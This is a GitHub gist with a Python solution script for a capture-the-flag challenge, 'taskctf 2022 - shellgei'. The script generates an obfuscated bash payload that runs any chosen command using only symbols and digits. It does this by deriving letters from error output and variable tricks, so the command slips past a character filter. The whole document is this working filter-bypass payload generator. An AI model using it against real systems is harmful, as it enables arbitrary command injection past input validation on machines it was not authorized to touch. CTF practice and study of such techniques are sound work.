Skip to content

Instantly share code, notes, and snippets.

@satoooon8888
Created December 3, 2022 16:04
Show Gist options
  • Save satoooon8888/145982c78c1f1b5e7cefe8dd97a435af to your computer and use it in GitHub Desktop.
Save satoooon8888/145982c78c1f1b5e7cefe8dd97a435af to your computer and use it in GitHub Desktop.
taskctf 2022 - shellgei
# 記号のみでbashを動かす問題
# 参考:
# https://www.ryotosaito.com/blog/?p=178
# https://www.ryotosaito.com/blog/?p=194
command = input()
payload = R"""
__=$(($$/$$));
___=$(($__+$__));
____=$(.&>/???/??/$__);
____=${____##*.};
_____=$(${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__} -${____:$__$(($__+$___)):$__}&>/???/??/$__);
_____=${_____##*${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__}};
_____=${_____,,};
______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___+$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___*$___-$__))${____:$__$__:$__}}")));
_______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___+$__))${____:$__$__:$__}}")));
"""
def make_num(num):
return "$(($$-$$" + "+$$/$$" * num + "))"
for c in command:
if c.isdigit():
payload += make_num(int(c))
elif c.isalpha():
payload += "${______[" + make_num(ord(c) - ord("a")) + "]}"
else:
payload += c
print(payload.replace("\n", "").replace("\r", ""))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment